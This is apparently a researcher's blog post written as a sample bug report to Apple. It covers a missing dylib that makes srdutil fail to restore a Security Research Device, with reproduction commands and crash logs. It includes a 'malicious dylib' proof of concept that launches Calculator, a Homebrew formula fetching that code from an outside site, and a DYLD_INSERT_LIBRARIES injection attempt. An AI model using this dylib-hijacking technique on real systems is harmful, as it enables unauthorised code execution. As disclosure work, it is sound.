srdutil: Failed IPSW Update. Proceedure for dylib check: MobileDevice_AMRestorableDeviceLoadDidPanicFunction_block_invoke-securityresearchtools-20c80-srd-example

missing dylib libMobileRestoreInternalExtensions

>> Home » Blog » missing dylib libMobileRestoreInternalExtensions

Estimated reading time: 7 minutes

Executive Summary

Failed iOS Upgrade on SRD due to Missing Dylib in SecurityResearchTools_20C80 with Dylib Injection PoC

Sample Bug Report

This is a Sample Bug Report sent to the Security Research Device (SRD) Team and Upstream. Apple Product Security directed the Report to feedback.apple.com. This Sample Bug Report details a missing dylib to be found in /usr/local/bin named libMobileRestoreInternalExtensions.dylib causing srdutil to fail for iOS restore on the SRD. This Bug was found at a time when AMFI was fully bypassed in early 2021.

Fingerprint

sysctl machdep.cpu.brand_string
machdep.cpu.brand_string: Apple M1
uname -a
20.4.0 Darwin Kernel Version 20.4.0: Tue Feb 23 23:43:31 PST 2021; root:xnu-7195.100.354.131.1~3/RELEASE_ARM64_T8101 arm64
$ file /usr/local/bin/srdutil
/usr/local/bin/srdutil: Mach-O universal binary with 3 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64] [arm64e:Mach-O 64-bit executable arm64e]
/usr/local/bin/srdutil (for architecture x86_64):    Mach-O 64-bit executable x86_64
/usr/local/bin/srdutil (for architecture arm64):    Mach-O 64-bit executable arm64
/usr/local/bin/srdutil (for architecture arm64e):    Mach-O 64-bit executable arm64e
$ codesign -dvvv /usr/local/bin/srdutil
Executable=/usr/local/bin/srdutil
Identifier=com.apple.security.srdutil
Format=Mach-O universal (x86_64 arm64e arm64)
CodeDirectory v=20400 size=755 flags=0x2000(library-validation) hashes=13+7 location=embedded
Hash type=sha256 size=32
CandidateCDHash sha256=24817048c643abfc9e89ea5f03cb08399719e527
CandidateCDHashFull sha256=24817048c643abfc9e89ea5f03cb08399719e52767c4b6feb8847bf0e98f5e23
Hash choices=sha256
CMSDigest=24817048c643abfc9e89ea5f03cb08399719e52767c4b6feb8847bf0e98f5e23
CMSDigestType=2
CDHash=24817048c643abfc9e89ea5f03cb08399719e527
Signature size=4442
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
Signed Time=Feb 22, 2021 at 05:23:05
Info.plist entries=18
TeamIdentifier=not set
Sealed Resources=none
Internal requirements count=1 size=76

Root Cause

The Root Cause Analysis is that Apple Quality & Security Assurance failed to engineer Unit Testing with Checks for the existance of critical Files. Unit Testing should have been conducted to test Features & Functionality for the express purpose for the Software to be used on the Apple Security Research Device.

SRDC created Unit Tesst for libMobileRestoreInternalExtensions.dylib with cryptexctl testing the Program Flow into __AMRestorableDeviceLoadDidPanicFunction_block_invoke that Results in the Call to loc_100002168 shown further below in the second picture with the Error Message “Failed to Restore” and shared our Results with Apple who suggested we Report the Issue to Feedback.

libMobileRestoreInternalExtensions.dylib. call into __AMRestorableDeviceLoadDidPanicFunction_block_invoke resulting in the Failed to Restore message and Program termination.
Logic Flow for the missing dylib libMobileRestoreInternalExtensions.dylib at __AMRestorableDeviceLoadDidPanicFunction_block_invoke

In the picture below the Call to loc_100002168 resulting in Failed to Restore Message due to missing dylib. This Quality & Security Assurance Flaw should have been found via Unit Testing at Apple prior to Delivery.

Call to loc_100002168 resulting in Failed to Restore Message due to missing dylib
Call to loc_100002168 resulting in Failed to Restore Message due to missing dylib

REPRODUCTION

Requirements: Apple Silicon M1 Mini on 11.3 Developer Image | SIP = OFF | StartUp Security = OFF | SecurityResearchTools_20C80

IPSW Update of SRD Attempt via Finder

defaults write com.apple.AMPDevicesAgent ipsw-variant -string 'Research Developer Erase Install (IPSW)'
Result = The iPhone  SRD  could not be restored. An unknown error occurred (3002).

IPSW Update of SRD Attempt via srdutil

% /usr/local/bin/srdutil restore -s -e xxx --ipsw=~/Downloads/145.ipsw
[+] Patching PRKit with variant: "Research Customer Erase Install (IPSW)"
[+] Patching PRKit with IPSW: "/Users/xss/Downloads/145.ipsw"
[+] Dumping restore options
{
    AuthInstallVariant = "Research Customer Erase Install (IPSW)";
    AutoBootDelay = 0;
    CreateFilesystemPartitions = 1;
    FlashNOR = 1;
    NORImageType = production;
    RestoreBootArgs = "rd=md0 nand-enable-reformat=1 -progress";
    RestoreBundlePath = "file:///Users/xss/Downloads/145.ipsw";
    UpdateBaseband = 1;
}
[x] Waiting for device with ECID: 0x1538d03c40012e to connect...
[x] Scanning for restorable devices...
[+] ECID: xxx - connected
[!] ECID: xxx - target acquired - beginning restore
 [ 100% ] Unrecognized operation (0)
[-!!-] Failed to restore!
How did we test for a missing dylib?

DYLD_PRINT_APIS=1 DYLD_FORCE_FLAT_NAMESPACE=1 /usr/local/bin/srdutil restore -s -e xxx –ipsw=~/Downloads/145.ipsw

dlopen_internal(/usr/local/lib/libMobileRestoreInternalExtensions.dylib, 0x00000001)
  dlopen_internal() failed, error: 'dlopen(/usr/local/lib/libMobileRestoreInternalExtensions.dylib, 1): image not found'
...
 [ 100% ] Unrecognized operation (0)
[-!!-] Failed to restore!
What’s Missing?
dlopen_internal() failed, error: 'dlopen(/usr/local/lib/libMobileRestoreInternalExtensions.dylib, 1): image not found'
Proof of missing dylib
Check the Linked List with otool -L
 otool -L /usr/local/bin/srdutil 
/usr/local/bin/srdutil:
    /System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/MobileDevice (compatibility version 1.0.0, current version 1.0.0)
    /usr/lib/libcurl.4.dylib (compatibility version 7.0.0, current version 9.0.0)
    /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 1775.115.0)
    /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1292.100.5)
Use strings to confirm the dylib string is contained in a linked dylib
strings /System/Library/PrivateFrameworks/MobileDevice.framework/Versions/A/MobileDevice | grep libMobileRestoreInternalExtensions
/usr/local/lib/libMobileRestoreInternalExtensions.dylib
Verify the dylib does not exist
ls -la /usr/local/lib/libMobileRestoreInternalExtensions.dylib
ls: /usr/local/lib/libMobileRestoreInternalExtensions.dylib: No such file or directory
Root Cause of iOS Restore Failure
No such file or directory for /usr/local/lib/libMobileRestoreInternalExtensions.dylib

Educational PoC

Sign & Copy a malicious dylib to substitute for:

/usr/local/lib/libMobileRestoreInternalExtensions.dylib

The Code

#include <Foundation/Foundation.h>
__attribute__((constructor)) static void pwn() { puts("\n\nPop my Calc!\n\n");
NSTask *task = [[NSTask alloc] init];
task.launchPath = @"/System/Applications/Calculator.app/Contents/MacOS/Calculator"; [task launch];
}

Copy the Malicious dylib to /usr/local/lib/libMobileRestoreInternalExtensions.dylib or Install the Brew Package:

Class Libmobilerestoreinternalextensions < Formula
  desc 'XSS.CX PROOF OF CONCEPT CODE'
  homepage 'https://xss.cx/kb/apple/libmobilerestoreinternalextensions.html'
  url 'https://xss.cx/kb/apple/libmobilerestoreinternalextensions.tar.gz'
  version '1.0.0'
  sha256 '746c84e5d428df5d29bc19fc175761bda6625e9e39857fcab3e73069ce87c9ca'
  license ':public_domain'

  bottle :unneeded

  def install
    bin.install 'LibMobileRestoreInternalExtensions'
  end
 end

RUN

DYLD_PRINT_APIS=1 DYLD_FORCE_FLAT_NAMESPACE=1 /usr/local/bin/srdutil restore -s -e 0xxx -- ipsw=~/Downloads/145.ipsw

Result

1 dlopen_internal(/usr/local/lib/libMobileRestoreInternalExtensions.dylib, 0x00000001)
2 Killed: 9

Crash Report

Crashed Thread:        2  Dispatch queue: com.apple.mobiledevice.restore.events

Exception Type:        EXC_BAD_ACCESS (Code Signature Invalid)
Exception Codes:       0x0000000000000032, 0x00000001040d8000
Exception Note:        EXC_CORPSE_NOTIFY

Termination Reason:    Namespace CODESIGNING, Code 0x2

kernel messages:

VM Regions Near 0x1040d8000:
    shared memory               1040d4000-1040d8000    [   16K] r--/r-- SM=SHM  
--> mapped file                 1040d8000-1040ec000    [   80K] r--/rw- SM=COW  Object_id=95fa85cd
    __TEXT                      1040ec000-10416c000    [  512K] r-x/r-x SM=COW  /usr/lib/dyld

Application Specific Information:
dyld: in dlopen()
/usr/local/lib/libMobileRestoreInternalExtensions.dylib

Thread 0:: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib        	0x0000000184fa4e54 mach_msg_trap + 8
1   libsystem_kernel.dylib        	0x0000000184fa5204 mach_msg + 76
2   com.apple.CoreFoundation      	0x00000001850dde9c __CFRunLoopServiceMachPort + 372
3   com.apple.CoreFoundation      	0x00000001850dc368 __CFRunLoopRun + 1212
4   com.apple.CoreFoundation      	0x00000001850db734 CFRunLoopRunSpecific + 600
5   com.apple.CoreFoundation      	0x0000000185166754 CFRunLoopRun + 64
6   srdutil                       	0x000000010405de8c 0x10405c000 + 7820
7   libsystem_darwin.dylib        	0x00000001873e395c os_subcommand_main + 764
8   srdutil                       	0x000000010405db68 0x10405c000 + 7016
9   libdyld.dylib                 	0x0000000184ffc420 start + 4

Thread 1:: Dispatch queue: com.apple.root.default-qos
0   libsystem_kernel.dylib        	0x0000000184fa4e54 mach_msg_trap + 8
1   libsystem_kernel.dylib        	0x0000000184fa5204 mach_msg + 76
2   com.apple.CoreFoundation      	0x00000001850dde9c __CFRunLoopServiceMachPort + 372
3   com.apple.CoreFoundation      	0x00000001850dc368 __CFRunLoopRun + 1212
4   com.apple.CoreFoundation      	0x00000001850db734 CFRunLoopRunSpecific + 600
5   com.apple.CoreFoundation      	0x0000000185166754 CFRunLoopRun + 64
6   com.apple.mobiledevice        	0x000000010431ceec __thr_AMRegisterForCallbacks + 612
7   libdispatch.dylib             	0x0000000184e2fe90 _dispatch_client_callout + 20
8   libdispatch.dylib             	0x0000000184e32fdc _dispatch_queue_override_invoke + 756
9   libdispatch.dylib             	0x0000000184e41654 _dispatch_root_queue_drain + 388
10  libdispatch.dylib             	0x0000000184e41e60 _dispatch_worker_thread2 + 112
11  libsystem_pthread.dylib       	0x0000000184fdafbc _pthread_wqthread + 216
12  libsystem_pthread.dylib       	0x0000000184fd9d30 start_wqthread + 8

Thread 2 Crashed:: Dispatch queue: com.apple.mobiledevice.restore.events
0   dyld                          	0x0000000104120474 dyld3::MachOFile::forEachLoadCommand(Diagnostics&, void (load_command const*, bool&) block_pointer) const + 48
1   dyld                          	0x00000001041224e0 dyld3::MachOAnalyzer::hasCodeSignature(unsigned int&, unsigned int&) const + 144
2   dyld                          	0x00000001041224e0 dyld3::MachOAnalyzer::hasCodeSignature(unsigned int&, unsigned int&) const + 144
3   dyld                          	0x00000001041223b4 dyld3::MachOAnalyzer::isOSBinary(int, unsigned long long, unsigned long long) const + 64
4   dyld                          	0x000000010412264c dyld3::MachOAnalyzer::sliceIsOSBinary(int, unsigned long long, unsigned long long) + 92
5   dyld                          	0x00000001040efab8 dyld::isCompatibleMachO(unsigned char const*, char const*, int, unsigned long long, unsigned long long) + 232
6   dyld                          	0x00000001040f0434 dyld::loadPhase6(int, stat const&, char const*, dyld::LoadContext const&) + 324
7   dyld                          	0x00000001040f9868 dyld::loadPhase5(char const*, char const*, dyld::LoadContext const&, unsigned int&, std::__1::vector<char const*, std::__1::allocator<char const*> >*) + 1368
8   dyld                          	0x00000001040f928c dyld::loadPhase4(char const*, char const*, dyld::LoadContext const&, unsigned int&, std::__1::vector<char const*, std::__1::allocator<char const*> >*) + 208
9   dyld                          	0x00000001040f8f98 dyld::loadPhase3(char const*, char const*, dyld::LoadContext const&, unsigned int&, std::__1::vector<char const*, std::__1::allocator<char const*> >*) + 1100
10  dyld                          	0x00000001040f875c dyld::loadPhase1(char const*, char const*, dyld::LoadContext const&, unsigned int&, std::__1::vector<char const*, std::__1::allocator<char const*> >*) + 252
11  dyld                          	0x00000001040f0108 dyld::loadPhase0(char const*, char const*, dyld::LoadContext const&, unsigned int&, std::__1::vector<char const*, std::__1::allocator<char const*> >*) + 468
12  dyld                          	0x00000001040efcac dyld::load(char const*, dyld::LoadContext const&, unsigned int&) + 196
13  dyld                          	0x00000001040fedc8 dlopen_internal + 480
14  libdyld.dylib                 	0x0000000184fffa38 dlopen_internal(char const*, int, void*) + 300
15  com.apple.mobiledevice        	0x000000010431e10c ___AMRestorableDeviceLoadDidPanicFunction_block_invoke + 28
16  libdispatch.dylib             	0x0000000184e2fe90 _dispatch_client_callout + 20
17  libdispatch.dylib             	0x0000000184e31728 _dispatch_once_callout + 32
18  com.apple.mobiledevice        	0x000000010431e0ec _AMRestorableDeviceDidPanic + 288
19  com.apple.mobiledevice        	0x0000000104315f5c _AMRestorableDeviceInvestigateFailure + 28
20  com.apple.mobiledevice        	0x0000000104315100 _AMRestorableStateMachineHandleRestoreComplete + 236
21  com.apple.mobiledevice        	0x0000000104314d4c _AMRestorableDeviceSetState + 748
22  com.apple.mobiledevice        	0x000000010431a0fc __thr_AMRestorableDeviceSetStateOnEventQueue + 52
23  libdispatch.dylib             	0x0000000184e2fe90 _dispatch_client_callout + 20
24  libdispatch.dylib             	0x0000000184e3ef84 _dispatch_lane_barrier_sync_invoke_and_complete + 60
25  com.apple.mobiledevice        	0x000000010431a084 _AMRestorableDeviceSetStateOnEventQueue + 80
26  com.apple.mobiledevice        	0x000000010431e544 __thr_AMRestorableDeviceAdvanceStateMachineAsync + 884
27  libdispatch.dylib             	0x0000000184e2fe90 _dispatch_client_callout + 20
28  libdispatch.dylib             	0x0000000184e37678 _dispatch_lane_serial_drain + 620
29  libdispatch.dylib             	0x0000000184e38274 _dispatch_lane_invoke + 404
30  libdispatch.dylib             	0x0000000184e42b44 _dispatch_workloop_worker_thread + 764
31  libsystem_pthread.dylib       	0x0000000184fdaff8 _pthread_wqthread + 276
32  libsystem_pthread.dylib       	0x0000000184fd9d30 start_wqthread + 8
DYLD_PRINT_APIS=1 DYLD_PRINT_BINDINGS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_PRINT_REBASINGS=1 DYLD_PRINT_SEGMENTS=1 DYLD_PRINT_STATISTICS=1 DYLD_PRINT_DOFS=1 DYLD_PRINT_RPATHS=1 DYLD_PRINT_INITIALIZERS=1 DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/usr/local/bin/malicious.dylib /usr/local/bin/cryptexctl
re-using existing shared cache (/System/Library/dyld/dyld_shared_cache_x86_64h):
        0x7FFF20045000->0x7FFF7FFC4FFF init=5, max=5 read execute 
        0x7FFF80045000->0x7FFF8DFE8FFF init=3, max=3 read write data
        0x7FFFC0045000->0x7FFFE22E4FFF init=1, max=1 read 
dyld: Main executable mapped /usr/local/bin/cryptexctl
        __PAGEZERO at 0x00000000->0x100000000
            __TEXT at 0x1025DB000->0x10260F000
      __DATA_CONST at 0x10260F000->0x102613000
            __DATA at 0x102613000->0x102617000
        __LINKEDIT at 0x102617000->0x102623000
dyld: warning: could not load inserted library '/usr/local/bin/malicious.dylib' into hardened process because no suitable image found.  Did find:
	/usr/local/bin/malicious.dylib: code signature in (/usr/local/bin/malicious.dylib) not valid for use in process using Library Validation: mapping process is a platform binary, but mapped file is not
	/usr/local/bin/malicious.dylib: stat() failed with errno=1
...

Running 3rd party Code as root with SIP & Startup Security OFF is an assumed Risk, NOT a Security Risk. Apple should have conducted Quality & Security Assurance to avoid wasting the time & efforts of the SRDC.